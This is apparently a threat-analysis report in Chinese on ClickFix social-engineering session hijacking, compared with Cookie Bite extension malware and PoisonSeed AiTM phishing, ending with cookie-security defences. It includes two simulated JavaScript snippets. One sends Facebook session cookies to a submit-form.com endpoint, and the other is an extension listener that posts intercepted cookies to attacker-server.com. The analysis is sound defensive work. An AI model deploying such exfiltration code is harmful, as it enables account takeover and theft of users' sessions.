摘要
此報告提供對 ClickFix session hijacking 活動的技術分析,這是一種多階段社交工程攻擊,目的為迫使受害者手動外洩其有效的 session cookies。研究詳述了攻擊的基礎設施、工作流程與外洩(exfiltration)機制。此外,並與純技術性的 cookie 竊取方法進行比較分析,特別是使用「Cookie Bite」與 Adversary-in-the-Middle (AiTM)「PoisonSeed」框架的惡意軟體。此比較凸顯了 session hijacking 日益提升的複雜性,其越來越結合心理操縱與穩健的技術後端。分析著重於技術組件,包括濫用合法的主機服務、無伺服器的資料外洩(serverless exfiltration) 與底層 cookie 攔截邏輯,以協助制定更有效的防禦策略。
1. 簡介
ClickFix 攻擊代表 session hijacking 的重大演進,超越傳統認證釣魚,轉向一種讓受害者主動參與攻擊工作流程的方法
[1]
。威脅者(Threat actor)並非利用技術漏洞,而是運用社交工程說服目標自願提交敏感資料。此活動的主要目標是提取有效的 Facebook session cookies,特別是
c_user
與
xs
Token,使其無需密碼或多因素認證(MFA)挑戰即可立即接管帳戶。此報告聚焦於 ClickFix 攻擊的技術架構,並對比其運作模式與更自動化的、以惡意軟體為中心的 cookie 竊取方法,參考相關技術分析
[Cookie Bite]
與
[PoisonSeed]
。
2. ClickFix 攻擊鏈:多階段技術工作流程
ClickFix 攻擊的特徵在於一個協調的多階段工作流程,涉及不同的技術組件,分別用於誘騙、Token 提取與資料洩漏(exfiltration)。攻擊透過誘餌頁面啟動,通常偽裝成官方驗證或申訴流程,託管於 Netlify、Vercel 與 Surge 等濫用合法平台 [1] 。使用這些合法的託管服務可以提供一層營運安全保障,並使基礎設施癱瘓更加困難。
初始階段的技術核心在於模擬合法性。例如,一個偽裝為「Face Verification」服務的入口頁面並不會執行任何真實的生物特徵檢查。取而代之的是,它利用客戶端 JavaScript 控制動畫視覺效果、音效提示與計時狀態變化,營造出安全程序的可信幻覺。在此模擬檢查完成後,會執行一段 hardcoded JavaScript redirect,將受害者導向攻擊鏈的下一階段。這個重新導向的邏輯是一種簡單但有效的技術控制,確保只有「已驗證」(即成功被誘騙)的受害者能繼續流程。
下圖說明 ClickFix 攻擊的高階技術流程,重點強調了釣魚前端與資料竊取後端的分離:
Token 提取階段的獨特性在於依賴社交工程,指導受害者手動定位並輸入其
c_user
與
xs
cookies。此階段釣魚頁面的技術實作專注於資料收集與即時竊取。竊取機制與主機基礎設施分離,透過 JSON POST requests 使用 serverless collection endpoints(例如
submit-form[.]com
、Formspark)
[1]
。這種分離提升了攻擊的韌性,因為前端可輕易移動或複製,而不影響資料收集後端。
此類釣魚頁面中發現的關鍵 JavaScript 片段會處理所擷取 Token 的提交與洩漏。雖然確切程式碼為威脅者所有,但最終提交階段的邏輯可近似如下:
- // Code Snippet 1: Simulated Client-Side Exfiltration Logic
- // This script captures the manually entered session cookies and sends them
- // to a serverless collection endpoint via an asynchronous POST request.
- function submitTokens(c_user_token, xs_token) {
- // Define the exfiltration endpoint (decoupled from the phishing host)
- const EXFIL_ENDPOINT = "https://submit-form.com/exfil-id-42";
- // Construct the payload with the stolen tokens
- const payload = {
- "c_user": c_user_token, // The Facebook user ID cookie
- "xs": xs_token, // The Facebook session key cookie
- "timestamp": new Date().toISOString() // Add timestamp for tracking
- };
- // Use the Fetch API for asynchronous, non-blocking data transmission
- fetch(EXFIL_ENDPOINT, {
- method: 'POST',
- headers: {
- 'Content-Type': 'application/json',
- },
- body: JSON.stringify(payload)
- })
- .then(response => {
- // Log success or failure (often suppressed in real attacks)
- console.log('Exfiltration attempt complete:', response.status);
- // Redirect victim to a "success" or "error" page to end the workflow
- window.location.href = "https://www.facebook.com/help";
- })
- .catch(error => {
- // In a real attack, error handling is minimal to avoid detection
- console.error('Exfiltration failed:', error);
- });
- }
- // Example usage (triggered by form submission)
- // submitTokens(document.getElementById('c_user_input').value, document.getElementById('xs_input').value);
3. 與進階 Cookie 竊取方法的比較分析
雖然 ClickFix 依賴社交工程手動取得 cookies,但更廣泛的威脅環境包含高度自動化、純技術性的 session hijacking 攻擊。與 Cookie Bite 與 PoisonSeed 等框架比較,可看出現代 cookie 竊取手法的複雜光譜。
3.1. 基於惡意軟體的攔截:Cookie Bite 機制
Cookie Bite 攻擊在技術報告中有詳細說明
[Cookie Bite]
,代表一種以惡意軟體為基礎的方法,專注於持久性 session 竊取,特別針對 Azure Entra ID cookies(
ESTSAUTH
與
ESTSAUTHPERSISTENT
)。與需要受害者互動的 ClickFix 不同,Cookie Bite 透過部署惡意瀏覽器擴充功能實現即時、自動化的 cookie 竊取。這些擴充功能在瀏覽器的安全環境中運作,利用 APIs 監控並攔截認證事件。
核心技術機制涉及使用瀏覽器擴充功能 API,例如
chrome.cookies.onChanged.addListener
,監聽特定 session cookies 的變更。這讓威脅者(Threat actor)能在成功通過 MFA 保護登入後立即擷取 Token,有效繞過後續存取所需的 MFA 驗證。擴充功能的持久性通常透過作業系統機制維持,例如 PowerShell scripts 修改 Windows Registry 以確保擴充功能持續載入
[Cookie Bite]
。此方法在隱蔽性與自動化方面,技術上優於 ClickFix 的手動流程。
- // Code Snippet 2: Simulated Browser Extension Cookie Interception (Based on Cookie Bite)
- // This JavaScript runs within a malicious browser extension's background script.
- // It listens for changes to any cookie and exfiltrates specific session tokens.
- // Listener for cookie changes
- chrome.cookies.onChanged.addListener(function(changeInfo) {
- // Check if the change was not a deletion and the cookie is a target session token
- if (!changeInfo.removed && (changeInfo.cookie.name === 'c_user' || changeInfo.cookie.name === 'xs')) {
- // Construct the exfiltration payload
- const stolenCookie = {
- name: changeInfo.cookie.name,
- value: changeInfo.cookie.value,
- domain: changeInfo.cookie.domain,
- // Additional metadata for session replay
- secure: changeInfo.cookie.secure
- };
- // Asynchronously exfiltrate the stolen cookie data
- fetch('https://attacker-server.com/cookie-exfil', {
- method: 'POST',
- headers: {
- 'Content-Type': 'application/json',
- },
- body: JSON.stringify(stolenCookie)
- })
- .then(response => {
- // Successful exfiltration
- console.log(`Exfiltrated ${stolenCookie.name} cookie.`);
- })
- .catch(error => {
- // Log error but do not interrupt the user session
- console.error("Exfiltration failed:", error);
- });
- }
- });
3.2. Adversary-in-the-Middle (AiTM) 釣魚:PoisonSeed 框架
PoisonSeed 框架在另一份技術報告中有分析 [PoisonSeed] ,採用 Adversary-in-the-Middle (AiTM) 技術。此方法涉及一個代理伺服器,置於受害者與合法服務之間,在認證過程中即時擷取認證與 session cookies。雖然 ClickFix 利用社交工程繞過 MFA,AiTM 則是在成功通過 MFA 挑戰後,實際攔截所產生的 session tokens。
PoisonSeed 的技術複雜性體現在其基於 React 的前端,設計用來完美模仿合法登入入口。例如
TurnstileChallenge.jsx
組件會模擬安全檢查(如 Cloudflare Turnstile),以增強可信度並過濾 bot
[PoisonSeed]
。使用現代 JavaScript 框架可創造動態且具說服力的使用者體驗,使釣魚企圖極為有效。核心技術差異在於 AiTM 被動從代理流量中擷取 Token,而 ClickFix 則要求受害者主動定位並輸入 Token。
4. 緩解與防禦策略
防禦 ClickFix、Cookie Bite 與 PoisonSeed 等 session hijacking 攻擊,需要多層次技術方法,同時處理社交工程與技術攻擊向量(Technical Exploitation Vector)。首要重點必須放在降低 session tokens 的可用性與壽命。
Token Binding 與短效 Sessions: 實施 Token Binding 可確保 session cookie 在密碼學上綁定至客戶端的傳輸層安全性(TLS)連線,使其若被攔截並從不同網路位置重放時無法使用。此外,強制使用短效 session tokens 與高風險操作的強制重新認證,可大幅縮短攻擊者利用竊取 cookie 的時間窗口。持續監控異常 session 活動(例如地理位置或 user-agent 字串突然改變)也至關重要。
Secure Cookie Attributes:
開發人員必須嚴格執行安全 cookie 屬性。
HttpOnly
標誌可防止客戶端腳本(包括透過 XSS 或惡意瀏覽器擴充功能如 Cookie Bite 注入的腳本)存取 cookie,減輕主要竊取途徑。
Secure
標誌確保 cookies 僅透過加密 HTTPS 連線傳輸,而
SameSite=Strict
或
Lax
屬性有助於減輕跨站請求偽造(Cross-Site Request Forgery, CSRF)與相關跨站洩漏攻擊
[Cookie Bite]
。
5. 結論
ClickFix 攻擊展現了將複雜社交工程與韌性技術基礎設施結合進行 session hijacking 的持續有效性。透過迫使受害者手動提供其
c_user
與
xs
cookies,此攻擊繞過許多傳統安全控制。與 Cookie Bite 的自動化惡意軟體攔截及 PoisonSeed 的 AiTM 代理相比,ClickFix 凸顯最簡單的攻擊向量——人為操縱——仍是強大威脅。要有效防禦這些不斷演化的威脅,需從單純保護認證轉向積極保護 session token 本身,透過 Token Binding、短效 sessions 與嚴格執行安全 cookie 屬性等技術控制達成。